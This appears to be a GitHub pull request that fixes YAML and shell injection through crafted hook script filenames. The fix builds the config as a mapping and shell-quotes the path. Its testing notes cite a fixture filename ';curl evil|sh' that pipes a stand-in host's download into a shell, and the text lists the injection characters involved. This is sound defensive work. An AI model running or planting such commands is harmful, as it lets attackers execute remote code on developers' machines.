fix: build hooks-dir config programmatically and quote script paths#35
Merged
alecthomas merged 1 commit intoJun 11, 2026
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The Problem
The
hooks-diradapter turns scripts found in a repo's.hooks//git-hooks/directory into lefthookrun:commands. Filenames there are repo-controlled, and today the adapter builds the config byformat!-ing YAML text with the filename interpolated and then re-parsing it — and the resultingrun:value is handed tosh -c. That leaves two ways a crafted filename can bite::or a newline can inject into the generated YAML.;,|,$(), backticks, etc. in a filename execute.The Fix
This code reworks
generate_configto build the lefthook config as aserde_yaml::Value::Mappingdirectly — no string concatenation, so the library handles all YAML quoting — and shell-quotes the script path (POSIX single-quoting, with'escaped as'\'') before it goes into therun:string. The{0}git-args template stays outside the quotes so arguments are still forwarded (consistent with the husky and git-lfs adapters).Net behavior change vs. today: the run line goes from
.hooks/<name> {0}to'.hooks/<name>' {0}. Scripts with ordinary names are unaffected; scripts with unusual names now run correctly as a single quoted word instead of being mis-parsed or injected.Testing
cargo test(150 passing),cargo fmt --check,cargo clippyclean.shell_quote(including an embedded single quote),;curl evil|shfilename is emitted as one quoted word rather than shell syntax,generate_config, and